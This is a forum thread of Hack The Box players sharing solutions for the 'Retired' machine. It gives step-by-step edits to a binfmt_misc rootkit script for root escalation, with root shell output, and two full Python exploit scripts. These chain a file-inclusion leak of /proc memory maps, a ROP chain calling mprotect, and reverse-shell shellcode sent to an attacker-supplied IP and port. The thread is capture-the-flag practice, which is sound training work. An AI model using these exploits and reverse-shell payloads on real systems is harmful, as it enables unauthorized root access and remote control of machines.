HTB - Retired (Box)
by - Thursday, January 1, 1970 at 12:00 AM
(June 2, 2022, 11:08 AM)mantzini Wrote:
(May 8, 2022, 12:52 PM)just4htb1337 Wrote: There is an exploit on github - https://github.com/toffan/binfmt_misc... just modify it as below:

- Disable the not_writable function since register is not writable
- echo "$binfmt_line" into a temp file i.e /tmp/temp.txt
- then cat the file into reg_helper i.e cat /tmp/tmep.txt | /usr/lib/emuemu/reg_helper

Thats it..


Hello, could you maybe elaborate on the exploit methodology? I have the exploit binary on the box, how do i disable the not_writeable? And how is the actual exploit binary used?

Many thanks!


Hi, you can edit the binary and comment out the section where the script checks if register is writable

Add '#' to the below part in binfmt_rootkit
#function not_writeable()
#{
# test ! -w "$mountpoint/register"
#}


Then change the below line
echo "$binfmt_line" > "$mountpoint"/register


to..
# since register is not writable, so first write to a temp file
echo "$binfmt_line" > /tmp/temp.txt

# Use /usr/lib/emuemu/reg_helper to write to "$mountpoint"/register
cat /tmp/tmep.txt | /usr/lib/emuemu/reg_helper


Once done then simply run the binary...
dev@retired:/dev/shm$ ./binfmt_rootkit
uid=0(root) euid=0(root)
# id
uid=0(root) gid=1001(dev) groups=1001(dev),33(www-data)
Reply
(June 8, 2022, 05:59 AM)just4htb1337 Wrote:
(June 2, 2022, 11:08 AM)mantzini Wrote:
(May 8, 2022, 12:52 PM)just4htb1337 Wrote: There is an exploit on github - https://github.com/toffan/binfmt_misc... just modify it as below:

- Disable the not_writable function since register is not writable
- echo "$binfmt_line" into a temp file i.e /tmp/temp.txt
- then cat the file into reg_helper i.e cat /tmp/tmep.txt | /usr/lib/emuemu/reg_helper

Thats it..


Hello, could you maybe elaborate on the exploit methodology? I have the exploit binary on the box, how do i disable the not_writeable? And how is the actual exploit binary used?

Many thanks!


Hi, you can edit the binary and comment out the section where the script checks if register is writable

Add '#' to the below part in binfmt_rootkit
#function not_writeable()
#{
# test ! -w "$mountpoint/register"
#}



Then change the below line
echo "$binfmt_line" > "$mountpoint"/register


to..
# since register is not writable, so first write to a temp file
echo "$binfmt_line" > /tmp/temp.txt

# Use /usr/lib/emuemu/reg_helper to write to "$mountpoint"/register
cat /tmp/tmep.txt | /usr/lib/emuemu/reg_helper


Once done then simply run the binary...
dev@retired:/dev/shm$ ./binfmt_rootkit
uid=0(root) euid=0(root)
# id
uid=0(root) gid=1001(dev) groups=1001(dev),33(www-data)


Thank you very much.
Reply
[quote="josepoo" pid="43246" dateline="1651177047"]You just need to add the ROP chainmprotect + jmp rsp + shellcodefull script[code]#!/usr/bin/env pythonfrom pwn import *import sys,re,requests,socketIP="10.10.11.154"def usage(): print(f"Usage: {sys.argv[0]} ") exit()# download file and save to /tmpdef get_file(path): r = requests.get(f"http://{IP}/index.php?page={path}", allow_redirects=False) lpath = f"/tmp/{path.split('/')[-1]}" with open(lpath,"wb") as f: f.write(r.content) return lpath# find process iddef get_pid(): r = requests.get(f"http://{IP}/index.php?page=/proc/sched_debug", allow_redirects=False) pid = re.search("activate_licens\s+([0-9]+)",r.text).group(1) print(f"[+] activate_license running @ PID {pid}") return pid# extract base addresses from /proc/PID/mapsdef get_addresses(pid): r = requests.get(f"http://{IP}/index.php?page=/proc/{pid}/maps", allow_redirects=False) libc_base = int(re.search("^.*libc.*$", r.text, re.M).group(0).split("-")[0], 16) libc_path = re.search("^.*libc.*$", r.text, re.M).group(0).split(" ")[-1] libsqlite_base = int(re.search("^.*libsqlite.*$", r.text, re.M).group(0).split("-")[0], 16) libsqlite_path = re.search("^.*libsqlite.*$", r.text, re.M).group(0).split(" ")[-1] stack_base = int(re.search("^.*\[stack\].*$", r.text, re.M).group(0).split("-")[0], 16) stack_end = int(re.search("^.*\[stack\].*$", r.text, re.M).group(0).split("-")[1].split()[0], 16) return libc_base, libc_path,libsqlite_base, libsqlite_path, stack_base, stack_enddef main(): if len(sys.argv) < 3: usage() try: ip = socket.inet_aton(sys.argv[1]) port = port=struct.pack(">H",int(sys.argv[2])) except: print(f"[-] Invalid arguments") usage() # Shellcode msfvenom -p linux/x64/shell_reverse_tcp LHOST=ip LPORT=port -f py shellcode = b"" shellcode += b"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48" shellcode += b"\x97\x48\xb9\x02\x00" + port + ip + b"\x51\x48" shellcode += b"\x89\xe6\x6a\x10\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e" shellcode += b"\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x6a\x3b\x58" shellcode += b"\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00\x53\x48" shellcode += b"\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05" # search PID with LFI pid = get_pid() if not pid: print(f"[-] Could not find PID for activate_license") exit() # search addresses in /proc/PID/maps libc_base, libc_path, libsqlite_base, libsqlite_path, stack_base, stack_end = get_addresses(pid) # calc sizeof(stack) for mprotect stack_size = stack_end - stack_base # 0x21000 context.clear(arch='amd64') libc = ELF(get_file(libc_path),checksec=False) # download libc libc.address = libc_base libsql = ELF(get_file(libsqlite_path),checksec=False) # download libsqlite libsql.address = libsqlite_base rop = ROP([libc, libsql]) offset = 520 # search ROP Gadgets mprotect = libc.symbols['mprotect'] # 0xf8c20 readelf -s libc.so.6 | grep mprotect pop_rdi = rop.rdi[0] # 0x26796 ropper -f libc.so.6 --search "pop rdi" pop_rsi = rop.rsi[0] # 0x2890f ropper -f libc.so.6 --search "pop rsi" pop_rdx = rop.rdx[0] # 0xcb1cd ropper -f libc.so.6 --search "pop rdx" jmp_rsp = rop.jmp_rsp[0] # 0xd431d ropper -f libsqlite3.so.0.8.6 --search "jmp rsp" payload = b'A' * offset #int mprotect(void *addr, size_t len, int prot); payload += p64(pop_rdi) + p64(stack_base) # addr = Begin of Stack payload += p64(pop_rsi) + p64(stack_size) # len = size of Stack payload += p64(pop_rdx) + p64(7) # prot = Permission 7 -> rwx payload += p64(mprotect) # call mprotect payload += p64(jmp_rsp) # jmp rsp payload += shellcode # add shellcode # File Upload beta.html r = requests.post(f"http://{IP}/activate_license.php", files = { "licensefile": payload } ) if __name__ == "__main__": main()[/code][/quote]Hello,I used and understood this script, it works very well. I also tried to modify this script to use it locally (with my libc) but it didn't work. After gdb analysis I saw we can overwrite "saved eip" at offset 524 and not 520 to continue the ROP.Could you tell me why there is a difference with the offset between local and remote exploitation ?Here is the modified script:[code]#!/usr/bin/env pythonfrom pwn import *import sys,re,requests,socketdef usage(): print(f"Usage: {sys.argv[0]} ") exit()# download file and save to /tmpdef get_file(path): r = open(path, "rb").read() lpath = f"/tmp/{path.split('/')[-1]}" with open(lpath,"wb") as f: f.write(r) return lpath# find process iddef get_pid(): r = open("/proc/sched_debug", "r").read() pid = re.search("activate_licens\s+([0-9]+)",r).group(1) print(f"[+] activate_license running @ PID {pid}") return pid# extract base addresses from /proc/PID/mapsdef get_addresses(pid): r = open(f"/proc/{pid}/maps", "r").read() libc_base = int(re.search("^.*libc.*$", r, re.M).group(0).split("-")[0], 16) libc_path = re.search("^.*libc.*$", r, re.M).group(0).split(" ")[-1] libsqlite_base = int(re.search("^.*libsqlite.*$", r, re.M).group(0).split("-")[0], 16) libsqlite_path = re.search("^.*libsqlite.*$", r, re.M).group(0).split(" ")[-1] stack_base = int(re.search("^.*\[stack\].*$", r, re.M).group(0).split("-")[0], 16) stack_end = int(re.search("^.*\[stack\].*$", r, re.M).group(0).split("-")[1].split()[0], 16) return libc_base, libc_path,libsqlite_base, libsqlite_path, stack_base, stack_enddef main(): if len(sys.argv) < 2: usage() try: ip = socket.inet_aton("127.0.0.1") port = port=struct.pack(">H",int(sys.argv[1])) except: print(f"[-] Invalid arguments") usage() # Shellcode msfvenom -p linux/x64/shell_reverse_tcp LHOST=ip LPORT=port -f py shellcode = b"" shellcode += b"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48" shellcode += b"\x97\x48\xb9\x02\x00" + port + ip + b"\x51\x48" shellcode += b"\x89\xe6\x6a\x10\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e" shellcode += b"\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x6a\x3b\x58" shellcode += b"\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00\x53\x48" shellcode += b"\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05" # search PID with LFI pid = get_pid() if not pid: print(f"[-] Could not find PID for activate_license") exit() # search addresses in /proc/PID/maps libc_base, libc_path, libsqlite_base, libsqlite_path, stack_base, stack_end = get_addresses(pid) # calc sizeof(stack) for mprotect stack_size = stack_end - stack_base # 0x21000 context.clear(arch='amd64') libc = ELF(get_file(libc_path),checksec=False) # download libc libc.address = libc_base libsql = ELF(get_file(libsqlite_path),checksec=False) # download libsqlite libsql.address = libsqlite_base rop = ROP([libc, libsql]) offset = 524 # search ROP Gadgets mprotect = libc.symbols['mprotect'] # 0xf8c20 readelf -s libc.so.6 | grep mprotect pop_rdi = rop.rdi[0] # 0x26796 ropper -f libc.so.6 --search "pop rdi" pop_rsi = rop.rsi[0] # 0x2890f ropper -f libc.so.6 --search "pop rsi" pop_rdx = rop.rdx[0] # 0xcb1cd ropper -f libc.so.6 --search "pop rdx" jmp_rsp = rop.jmp_rsp[0] # 0xd431d ropper -f libsqlite3.so.0.8.6 --search "jmp rsp" => locally it is in my libc only print("mprotect: "+str(hex(mprotect))) print("pop_rdi: "+str(hex(pop_rdi))) print("pop_rsi: "+str(hex(pop_rsi))) print("pop_rdx: "+str(hex(pop_rdx))) print("jmp_rsp: "+str(hex(jmp_rsp))) payload = b'A' * offset #int mprotect(void *addr, size_t len, int prot); payload += p64(pop_rdi) + p64(stack_base) # addr = Begin of Stack payload += p64(pop_rsi) + p64(stack_size) # len = size of Stack payload += p64(pop_rdx) + p64(7) # prot = Permission 7 -> rwx payload += p64(mprotect) # call mprotect payload += p64(jmp_rsp) # jmp rsp payload += shellcode # add shellcode # File Upload beta.html #r = requests.post(f"http://{IP}/activate_license.php", files = { "licensefile": payload } ) r = remote("127.0.0.1",1337) gdb.attach(r, ''' b *0x000055d9d7af15c0 c ''') r.sendline(payload) r.recv()if __name__ == "__main__": main()[/code]And also read some posts speaking about a big endian size but for me it doesn't matter no ? Just exploiting the 512 buffer seen with ghidra. We just have to send the payload in little endian excepted for the ip and port using the network byte order (big endian).Thank you : )
Reply


 Users viewing this thread: HTB - Retired (Box): No users currently viewing.